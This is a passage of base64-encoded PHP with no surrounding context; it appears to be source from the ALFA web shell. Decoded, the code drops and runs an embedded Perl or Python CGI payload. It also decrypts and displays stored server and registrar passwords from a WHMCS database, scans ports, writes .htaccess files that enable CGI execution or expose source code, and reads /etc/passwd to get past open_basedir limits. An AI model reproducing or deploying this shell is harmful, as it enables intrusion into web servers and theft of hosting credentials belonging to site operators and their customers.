dlU080NkE2d1dKYmt2cDB5b1VOdlpyL3NYWnpKZnB1czk3SEkyYk02TmltUTBvbzNaV0Q2L1M3K1VTa1ppQmc2NS85R2hFSHcvanVZY2RwdXI3NmVNM01VRm5Gdmc1VmRJQUpVQlFDUVNRazZBUkEyRmN3OCs3SzFPcjJNNHAxV0RKV1RvUHhvcW05ZUFhK0QwU0c1Y2MrMkZIcWpiTmF0SlVLQVNkdXN6aGlWNTVkM3lWYkVpT1JDVEdNNklYN2xUekJqWUhoaVpXWjdCeHJmTUwzSldNbHh2V3Rzck9QdGVPbTF2dUM0UExvN1BKOU96L2RNeEhETnJ1NzNDR0YrOEcxOXNNWnFuYTFKZXg5aWFUTjBTaElkVzdhS0lTbVVjRWpEY0Z0T1p1SnlWcDJrZnI4QzB4cUQ5QUZhQVdQSlNvSUg2UVYxdWZzQ1RkR01ONDBYRndieWhBbDRUdkhlekozN2daay94eGdrdnoyQ3dnQk9pdk83NUxvRjluMExHdjNsRnFpNW9PeldvdmRIZWhNRURSNG5LUGRRUGlGdXY2UzZGNnF0WTRhS1NXd0dWK1Y5eGpXVDh3YlEzclhzbkhMeS93WHZmdjlSUnRoM0RmVkZQamhxbUxPNzNXdUl3NEovS0JxR0dRNXhtQm4wY3gvU1JHRCtrNVlPSHVvbWFNVVVEcWdLeWJVQ3lTWU9JMFRENXRxakdZRm9LTDRkS2tzWTNtYVAzdXpySkVwaEovQ1dEb3FLTHlnQ2lSVHFvck1hTVVxZFBjOTJxTHF2S0JQaUxjYXdiVTArUGVuM1FMbzlmcmZYOWs0dFRjUTNxdHByYjM1YjE0eXRGUWQwb2YvRWZEY0QyczlPcjhnM3Y2Y2huYW91TEt3V1VtTHZiZW1QaTBTZGt4ckN4UGdKV1UzWGd4UnZRMUkxTXZFMVZDYUJOOFFDN0FXbmRSbkdzTWxKbytHVTEzR3pLRkxMSytKUXh0cExhU0VidDFsZkhKTHQxYjFLei93OHdibFMrRlJvQUFBPT0iKSkpOyc7OyAgJHB5ID0gJyMhL3Vzci9iaW4vcHl0aG9uJy4iXG5pbXBvcnQgemxpYiwgYmFzZTY0XG4iLidldmFsKGNvbXBpbGUoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoImVKeWxGOXR5MnpiMjJmb0tETHhiVXF1ckZUdk42TmE2WHFmMWJOTm1FcmN2dGtjREVxQ0lDUWx3UWRDMjZ2RisrNTREa0JMVmFPTzJhOC9ZQk03OWZtRE5adG81a25taGpTWHhXdHBvNXY4TmhXSlJKc0p1Unp6R29yQ0FWYkN5N05TbzVhYnNBMTVmbC8yMXNBanBSNndVcjAvN2xja3lHWFVTbzNOaVpTNUlRMkZOZ3VlR2d6VXNGaEdMUDNuVWo5Wkl0Yjc2dVVGdnpqV2pCcmtCRndDMUsxQ3RJeE9pUzlEMlhocXRoaWtyVjUvRUpxUWZMejVjdmI5ZS9YVCs3cEoyUWZreU5yS3dpb0ZDaXhiQnpSN2lYVWRrcGZnOU5xVWRMaExDc29SZDVEeU1rZDFSbk1xTXIwckxwZXFUN1VGWDFyTXZkQ0hVQkhEM1VZZHhwa3QwNnRHUkVXV1ZJWGFiZUdnRTQrRWVFZDYycVd4bEZQSEVuVVNiSERtczVmQ3RGQm4vYUxWaGE4U01jdzRBaEE4aFB2Y3NxMFFZeEVHM3c2WDVITUFCQUg0RUlqRE5rL293RGl2MTcwcGJFZnJnRHFQWHAxekVtb3NRc0xxT0NCZ0NrV2Y3RWhGZ2RWdVMvTWZOZVBycWppd1dKSWc1Q2RDM3lxdmd6cVNIRXVCdk1NTnZoT0IzOGNBRHdMeW9qQkhLL3ROSmJ3S0U1RjN3WkpGQjBvVEJyUXI2Z1RkUWFldTRNUVdjZDdTQkEwaEZNaDJ6ckF3eHdBYzVCeWoyQU9zNmEwRENDMXozMllJcUhZamR5anNQczRiWmRNaWlFditIZEVpN25mZVEvUVZtU1hCRDVuQ3ZvSTQybVZqUVdHZmFUSS9Icjc0K0dZOW5kQm4wNmpyRXNGYWxNR0czRjh4SFNMTDg5Z1hLdlhLNC9QRHI1WWU2SExZY0RzcWVSSWs0T1hNY2RtYnRTTzcrRnFEUFZ5c3NvOVhLUlhpMXlwbFVxeFdHMlpVd29SZGFXU0FkMkUwaHBzU0tSenRLYlo3ZG1sdEZHNlJnamxmTGVRclZzWnhiYVRPeHZJQ0U0aVRha1BNZjM1NlRhM0gramd6SXhmZFg1UDNHcGxyTlJ4NXRuZ3ZMb01hWUtZVmQwRit1M3c3ZTBPWGNXYkw4eHhOVVZ5YVZtQ3F0eE96NWVMVktVTnVxZUVveXpleVVHTGxPN1V6ZkN3TVhEMU9TU3M2Rm1ua1BrT1BKV1pLQUV4OGt0K21Vbkp5T2k4Y1pseVdreDJZS29VZldnd2ppLzJtR2hnMTJmQVFVU2xIS2N2YVFTaXNHNExFWXJGZjZ3YkJpOXB5eFNHUlBPVE5ycVFaT0JXQ092SUhlU3NpbUFjdmtXazFKRHVwa1loWnB3d1hvYzFJOGtsSm5ra09ENERQc2wydWpLOFduMkVBVkNNRWdBZmJqb0V3WlJ6M0c4SHNLVk1mankxZmowL09hMDhBd0xxdHlpcURHdU1rWkt2Qm56SWdyVTZLWENnMHhGT1ovT01ZYmkrTkJxL1ZUVzJlMG9RNURKaEs3OWJMenhMTlVSV1Z2TUdzV1pSWGwwdDQ5MVFJYmVXMWVMcjZIM1ZUSEVqcW5Xb3RERG5nK2hvYnk5SmU0TmI3N0dsVStFTThEMGdyR1lWQ3NCN1dUU3NzTVlKOTlEaEdvQ2Q0L1kxQWd0T3dKeG9MOFRkVDY3YVYyUy91VzhvM2dsaTV0ZTQ3ZnVwOUc4UFRrTmFEVnhYLzJKajQ3ZTFNYkNJM2s3N3NpWVpYVnMyZG9BNjdHNWlOZnRaSG1HNklWeEpNdktOZHhsVU11WXJPNnpBUitmcmU1NHVGdEFLNitoUmFiQUFLMHpCa2wwZHBKWE5EanNmdWh4T3JDdTNKQjRZU3AwVHI2VDZkVzY1d0tkTHE3UUdjQk0yOGFkSUpZWUxJczV3bjBJVktMZ2tEU0pUVGNhTmRsd0NPQ2xJeVRyeUI5NzJVcFlUa2kvM0hYOWVuYk5mUzJiQmpyZkQ2S29QM05SOGdTN0c4a1dGeW9pSGZ6Z3A1UVVtdUozcU1raGxyQytnRkhPejN4WER0K1FTZWdxRVVXL0lBLzJteHFPeEtvd3dYOVZSak9GS01FczhJekFjWDJMRDJlVEM0bmt6Y084bkZuQzdsWXkyMGpqWmExS1FSNnRSS3hCWTlZVFY2WUcwaGxPZjR4amU3TG9KbjVSSmJrSjhoRHQwbTVZVTlielo3TCsyYlUxRFdEUVo1T01FdWRwaGM2ejNHR1R3L05wYnIwWUN6MVVWU2ZOQlBKNndUTWwvTmkrVVVoZTVYYWlHMnFqQmo5VUlJM3dmTmxBVUdLVXhGL1d0QUVacnlndFlsQklqTVI0UERIVFF1dHRHN1JQanBDUUlLN1dyMkYzWGpVTzRUVkd3cUVRRUhaSzlnd3R0aDlrc25TdWhYaWlKQTJrNXZ0NGE3akJHamo0TkNQYzZkQUEzYTBLS09CRHZFRHg1MkhFT0NyV25zSWJtOElEVC9ENzI3eHF5eGI0UzJRdFRZYldOQkd1S3dscWtIRWJUamNZa05JSGlJbzhnY0RiUGZaMXd2d1RnTGNZZmFDQU1pTkVIUUR6OWdkcXk2Y1Y0Z3dPaGxQVHJkazlXNXhqVk12RVZET2hQWmd3b1FOdTI2UGtuOTlONlQ3K01GMUtweEVRb05lb25vQjFCWXJTVlZnMHdJZVpSWEhvaXhSK0dhSTY2ZC9HcEZMOTA5cWVBa0lZNXczUFVNNGRZN3E1WENiQVI2MFhTbnJKWGZmZmMydTJ6MHN4UFBCNTlpMlprWk5lallwUGlvT0ZPQThjcDBPWGcxYSthbTVvRGFWNEZWM0dNS0l4aWJGRjlaVVl0YUNwTDhEeVNUY2cwcStXTndHS2JUdUozZlBoKzVwQVhkQnIxNXhlOEZ0OE95QWNRMk1yR1pocFVRWnMwS0VRdUViNFpjUFYxRGRCZlFHQ0hjYnU5dnR6dlpZL3pGcXZxT21CSk1YS2hXbWdvRFdCblBvL2M4ZnJ5bGhNZnAxQVVIZnZmc2crTXU1MnpHSTJ6R28zL3dhSHB3U3J3WGRYMzV4R2ZZN2V5OGdlL1FZSDByQVR4VGkyckNKS2RtWDR2M1pnSnVUNzkrdnhsdWh5eVZkZnFYZ29UQnIvMzJSVStvVkFDdTBpak9KYlFzQ0dXdVZTSlBEOEQwM2dteDBCWWtPSDk5QU1PdG9BcEVMN3V3Wms1blVqMURYOFdaYm5YN1FPZlEvSEJVbXh6YTR5OHhEU2JnYnUzOG1HZitQMkFPU2Qwd09MMmNKcTdCMW1nNDRzK3dQSjRUZlZST2NuSFZYTVBpWXdCbUVqdDArSDlBUHpjUEpMYlo3MGJwSU5iem5DWE85QnZja2h6RWZPZTVOUHRTenFWbWEzZGJtdzdlVmpGRk1jZGg5YWFIYTZvUnJsWVQ1Ylg2NGZ2Zmp3am5JdGNPYjhkMFFNWUM3ZHhEZWJtdkZmZGY1ZDdZdGlmMzAzRSs0T2gyOGxuK3hpTDVBeEQ2WDRGTnV0Mmp0TW03a2RpNmMvTEI5NGlxS3o4amd2MTFOVlpvPSIpKSxcJzxzdHJpbmc+XCcsXCdleGVjXCcpKSc7ICBpZigkX1BPU1RbJ2FsZmExJ109PSdwZXJsJyl7JGNvZGUgPSAkcGVybDt9ZWxzZXskY29kZSA9ICRweTt9ICBpZihfX3dyaXRlX2ZpbGUoJG5hbWUsJGNvZGUpKXsgIEBjaG1vZCgkbmFtZSwwNzU1KTsJICBlY2hvICc8aWZyYW1lIHNyYz0iJy4nY2dpYWxmYS8nLiRuYW1lLiciIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjYwMHB4IiBmcmFtZWJvcmRlcj0iMCIgc3R5bGU9Im9wYWNpdHk6MC45O2ZpbHRlcjogYWxwaGEob3BhY2l0eT05KTtvdmVyZmxvdzphdXRvOyI+PC9pZnJhbWU+JzsgIH0gIH0gIGVjaG8gJGRpdjsgIGFsZmFmb290ZXIoKTsgIH0gIGZ1bmN0aW9uIGFsZmFXaG1jcygpeyAgYWxmYWhlYWQoKTsgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7ICBmdW5jdGlvbiBkZWNyeXB0KCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFzaCl7ICAka2V5ID0gbWQ1IChtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpKSAuIG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCk7ICAkaGFzaF9rZXkgPSBfaGFzaCgka2V5KTsgICRoYXNoX2xlbmd0aCA9IHN0cmxlbiAoJGhhc2hfa2V5KTsgICRzdHJpbmcgPSBfX1pHVmpiMlJsY2coJHN0cmluZyk7ICAkdG1wX2l2ID0gc3Vic3RyICgkc3RyaW5nLCAwLCAkaGFzaF9sZW5ndGgpOyAgJHN0cmluZyA9IHN1YnN0ciAoJHN0cmluZywgJGhhc2hfbGVuZ3RoLCBzdHJsZW4gKCRzdHJpbmcpIC0gJGhhc2hfbGVuZ3RoKTsgICRpdiA9ICRvdXQgPSAnJzsgICRjID0gMDsgIHdoaWxlICgkYyA8ICRoYXNoX2xlbmd0aCkgIHsgICRpdiAuPSBjaHIgKG9yZCAoJHRtcF9pdlskY10pIF4gb3JkICgkaGFzaF9rZXlbJGNdKSk7ICArKyRjOyAgfSAgJGtleSA9ICRpdjsgICRjID0gMDsgIHdoaWxlICgkYyA8IHN0cmxlbiAoJHN0cmluZykpICB7ICBpZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKSAgeyAgJGtleSA9IF9oYXNoICgka2V5IC4gc3Vic3RyICgkb3V0LCAkYyAtICRoYXNoX2xlbmd0aCwgJGhhc2hfbGVuZ3RoKSk7ICB9ICAkb3V0IC49IGNociAob3JkICgka2V5WyRjICUgJGhhc2hfbGVuZ3RoXSkgXiBvcmQgKCRzdHJpbmdbJGNdKSk7ICArKyRjOyAgfSAgcmV0dXJuICRvdXQ7ICB9ICBmdW5jdGlvbiBfaGFzaCgkc3RyaW5nKSAgeyAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGExJykpICB7ICAkaGFzaCA9IHNoYTEgKCRzdHJpbmcpOyAgfSAgZWxzZSAgeyAgJGhhc2ggPSBtZDUgKCRzdHJpbmcpOyAgfSAgJG91dCA9ICcnOyAgJGMgPSAwOyAgd2hpbGUgKCRjIDwgc3RybGVuICgkaGFzaCkpICB7ICAkb3V0IC49IGNociAoaGV4ZGVjICgkaGFzaFskY10gLiAkaGFzaFskYyArIDFdKSk7ICAkYyArPSAyOyAgfSAgcmV0dXJuICRvdXQ7ICB9ICBlY2hvICI8Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXSE1DUyBEZUNvZGVyIHw8L2Rpdj48cD4iLmdldENvbmZpZ0h0bWwoJ3dobWNzJykuIjwvcD48Zm9ybSBvbnN1Ym1pdD1cImcoJ1dobWNzJyxudWxsLHRoaXMuZm9ybV9hY3Rpb24udmFsdWUsJ2RlY29kZXInLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5jY19lbmNyeXB0aW9uX2hhc2gudmFsdWUsdGhpcy5kYl9ob3N0LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdmb3JtX2FjdGlvbicgdmFsdWU9JzInPiI7ICAkdGFibGUgPSBhcnJheSgndGQxJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQyJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDMnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDQnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDUnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2NjX2VuY3J5cHRpb25faGFzaCA6ICcsICdpbnB1dE5hbWUnID0+ICdjY19lbmNyeXB0aW9uX2hhc2gnLCAnaWQnID0+ICdjY19lbmNyeXB0aW9uX2hhc2gnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpICApOyAgY3JlYXRlX3RhYmxlKCR0YWJsZSk7ICBlY2hvICI8cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcgbmFtZT0nU3VibWl0Jz48L3A+PC9mb3JtPjwvY2VudGVyPiI7ICBpZigkX1BPU1RbJ2FsZmE1J10hPScnKXsgICRkYl9ob3N0PSgkX1BPU1RbJ2FsZmE3J10pOyAgJGRiX3VzZXJuYW1lPSgkX1BPU1RbJ2FsZmEzJ10pOyAgJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2FsZmE0J10pOyAgJGRiX25hbWU9KCRfUE9TVFsnYWxmYTUnXSk7ICAkY2NfZW5jcnlwdGlvbl9oYXNoPSgkX1BPU1RbJ2FsZmE2J10pOyAgZWNobyBfX3ByZSgpOyAgJGNvbm49QG15c3FsaV9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQsJGRiX25hbWUpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRxdWVyeSA9IG15c3FsaV9xdWVyeSgkY29ubiwiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7ICAkbnVtID0gbXlzcWxpX251bV9yb3dzKCRxdWVyeSk7ICBpZiAoJG51bSA+IDApeyAgZm9yKCRpPTA7ICRpIDw9JG51bS0xOyAkaSsrKXsgICR2ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcXVlcnkpOyAgJGlwYWRkcmVzcyA9ICR2WydpcGFkZHJlc3MnXTsgICR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOyAgJHR5cGUgPSAkdlsndHlwZSddOyAgJGFjdGl2ZSA9ICR2WydhY3RpdmUnXTsgICRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOyAgZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsgICRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsgIGVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VHlwZTwvZm9udD48L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj48L2I+Iik7ICBlY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkFjdGl2ZTwvZm9udD48L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPjwvYj4iKTsgIGVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+SG9zdG5hbWU8L2ZvbnQ+PC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPjwvYj4iKTsgIGVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+SXA8L2ZvbnQ+PC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj48L2I+Iik7ICBlY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXJuYW1lPC9mb250PjwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj48L2I+Iik7ICBlY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBhc3N3b3JkPC9mb250PjwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj48L2I+Iik7ICBlY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsgIH0gICRxdWVyeTEgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsgICRudW0xID0gQG15c3FsaV9udW1fcm93cygkcXVlcnkxKTsgIGlmICgkbnVtMSA+IDApeyAgZm9yKCRpPTA7ICRpIDw9JG51bTEgLTE7ICRpKyspeyAgJHYgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHF1ZXJ5MSk7ICAkcmVnaXN0cmFyID0gJHZbJ3JlZ2lzdHJhciddOyAgJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOyAgJHZhbHVlID0gZGVjcnlwdCgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7ICBpZiAoJHZhbHVlPT0iIil7ICAkdmFsdWU9MDsgIH0gIGVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48Y2VudGVyPiIpOyAgZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsgIGVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRGXCI+UmVnaXN0ZXI8L2ZvbnQ+PC90ZD48dGQ+JHJlZ2lzdHJhcjwvdGQ+PC90cj48L2I+Iik7ICBlY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlNldHRpbmc8L2ZvbnQ+PC90ZD48dGQ+JHNldHRpbmc8L3RkPjwvdHI+PC9iPiIpOyAgZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiM2N0FCREZcIj5WYWx1ZTwvZm9udD48L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+PC9iPiIpOyAgZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7ICB9ICB9ICB9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj50YmxzZXJ2ZXJzIGlzIEVtcHR5Li4uITwvZm9udD4nKTt9OyAgfSAgZWNobyAiPC9kaXY+IjsgIGFsZmFmb290ZXIoKTsgIH0gIGZ1bmN0aW9uIGFsZmFwb3J0c2Nhbm5lcigpeyAgYWxmYWhlYWQoKTsgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgUG9ydCBTY2FuZXIgfDwvZGl2PjwvcD4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdwb3J0c2Nhbm5lclwnLG51bGwsbnVsbCx0aGlzLnN0YXJ0LnZhbHVlLHRoaXMuZW5kLnZhbHVlLHRoaXMuaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ5IiB2YWx1ZT0icGhwdG9vbHMiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5Ib3N0OiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPlBvcnQgc3RhcnQ6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHNpemU9IjUiIHR5cGU9InRleHQiICBuYW1lPSJzdGFydCIgdmFsdWU9IjgwIi8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPlBvcnQgZW5kOiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiBzaXplPSI1IiB0eXBlPSJ0ZXh0IiBuYW1lPSJlbmQiIHZhbHVlPSI4MCIvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz4KPC9mb3JtPjwvY2VudGVyPjxicj4nOyAgJHN0YXJ0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2FsZmEyJ10pOyAgJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydhbGZhMyddKTsgICRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2FsZmE0J10pOyAgaWYoaXNzZXQoJF9QT1NUWydhbGZhNCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnYWxmYTMnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2FsZmEyJ10pKXsgIGVjaG8gX19wcmUoKTsgICRwYWNrZXRDb250ZW50ID0gIkdFVCAvIEhUVFAvMS4xXHJcblxyXG4iOyAgaWYoY3R5cGVfeGRpZ2l0KCRwYWNrZXRDb250ZW50KSkkcGFja2V0Q29udGVudCA9IEBwYWNrKCJIKiIgLCAkcGFja2V0Q29udGVudCk7ICBlbHNleyAgJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCJcbiIpLCAiIiwgJHBhY2tldENvbnRlbnQpOyAgJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXFxyIiwiXFxuIiksIGFycmF5KCJcciIsICJcbiIpLCAkcGFja2V0Q29udGVudCk7ICB9ICBmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsgICRzb2NrID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7ICBpZigkc29jayl7ICBzdHJlYW1fc2V0X3RpbWVvdXQoJHNvY2ssIDUpOyAgZndyaXRlKCRzb2NrLCAkcGFja2V0Q29udGVudC4iXHJcblxyXG5ceDAwIik7ICAkY291bnRlciA9IDA7ICAkbWF4dHJ5ID0gMTsgICRiaW4gPSAiIjsgIGRveyAgJGxpbmUgPSBmZ2V0cygkc29jaywgMTAyNCk7ICBpZih0cmltKCRsaW5lKT09IiIpJGNvdW50ZXIrKzsgICRiaW4gLj0gJGxpbmU7ICB9d2hpbGUoJGNvdW50ZXI8JG1heHRyeSk7ICBmY2xvc2UoJHNvY2spOyAgZWNobyAiPGNlbnRlcj48cD5Qb3J0IDxmb250IHN0eWxlPSdjb2xvcjojREUzRTNFJz4kaTwvZm9udD4gaXMgb3BlbjwvcD4iOyAgZWNobyAiPHA+PHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6MTQwcHg7d2lkdGg6NTAlOyc+Ii4kYmluLiI8L3RleHRhcmVhPjwvcD48L2NlbnRlcj4iOyAgfSAgZmx1c2goKTsgIH0gIH0gIGVjaG8gJzwvZGl2Pic7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhY2dpaHRhY2Nlc3MoJG0sJGQ9JycsICRzeW1uYW1lPWZhbHNlKXsgICRyZWFkbWUgPSAiIjsgIGlmKCRzeW1uYW1lKXskcmVhZG1lPSJcblJlYWRtZU5hbWUgIi50cmltKCRzeW1uYW1lKTt9ICBpZigkbT09J2NnaScpeyAgJGNvZGUgPSAiI0NvZGVkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlXG5PcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJXG5BZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5hbGZhXG5BZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmFsZmEiOyAgfWVsc2VpZigkbT09J3N5bScpeyAgJGNvZGUgPSAiI0NvZGVkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlXG5PcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHNvbGV2aXNpYmxlLnBodG1cbkFkZFR5cGUgdGV4dC9wbGFpbiBwaHAgaHRtbCBwaHA0IHBodG1sXG5BZGRIYW5kbGVyIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNCBwaHRtbHskcmVhZG1lfVxuT3B0aW9ucyBhbGwiOyAgfWVsc2VpZigkbT09J3NodG1sJyl7ICAkY29kZSA9ICJPcHRpb25zICtJbmNsdWRlc1xuQWRkVHlwZSB0ZXh0L2h0bWwgLnNodG1sXG5BZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnNodG1sIjsgIH0gIEBfX3dyaXRlX2ZpbGUoJGQuJy5odGFjY2VzcycsJGNvZGUpOyAgfSAgZnVuY3Rpb24gYWxmYWJhc2VkaXIoKXsgIGFsZmFoZWFkKCk7ICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IE9wZW4gQmFzZSBEaXIgfDwvZGl2PjwvcD48L2NlbnRlcj4nOyAgJHBhc3N3ZCA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7ICBpZihpc19hcnJheSgkcGFzc3dkKSl7ICAkdXNlcnMgPSBhcnJheSgpOyAgJG1ha2Vwd2QgPSBhbGZhTWFrZVB3ZCgpOyAgJGJhc2VkaXIgPSBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJyk7ICAkc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOyAgaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSxmYWxzZSkmJigkYmFzZWRpcnx8JHNhZmVfbW9kZSkpeyAgJGJhc2ggPSAiZlpCUFN3TXhFTVhQemFjWXg5anVna3ZZOWxicFRROWVGVTlOV2RZazJ3WWtXWktzZ211K3U5TmFTOEUvY3dnREwvTitNKy95UWp4YkorS08zZDQvckhqTnVzR3BaTDJEbUVJVFRQL1NLbE9VSXdPcU5WVHZnTHhHMk1CMENzR2tJVGlvejdYNVA5cmlONjBoemhIVHZMWW41SW9YZmJBdWRZQlhVVXFIWDl3UGlFWkRaUUNqNE9NODA3UElZb3Zsd2V2SHhQaUhlMGFXbVZFN2Y3QmFTNFdzOHdFc1dBZThVRU9DU2kraDZtb1FKaW5SdHpHKzZmSUd0R2VUcDhjN0NxbzRpNGRBRkI3eHhpR2FrUGRnU3h0TjZPeEEvWDdnZVBrM1V0SVBpZGRNZTJkT2U4d1FON05QIjsgIGFsZmFXcml0ZVRvY2dpYXBpKCJiYXNlZGlyLmFsZmEiLCRiYXNoKTsgICRiYXNoX3VzZXJzID0gYWxmYUV4KCJjZCBhbGZhY2dpYXBpO3NoIGJhc2Vka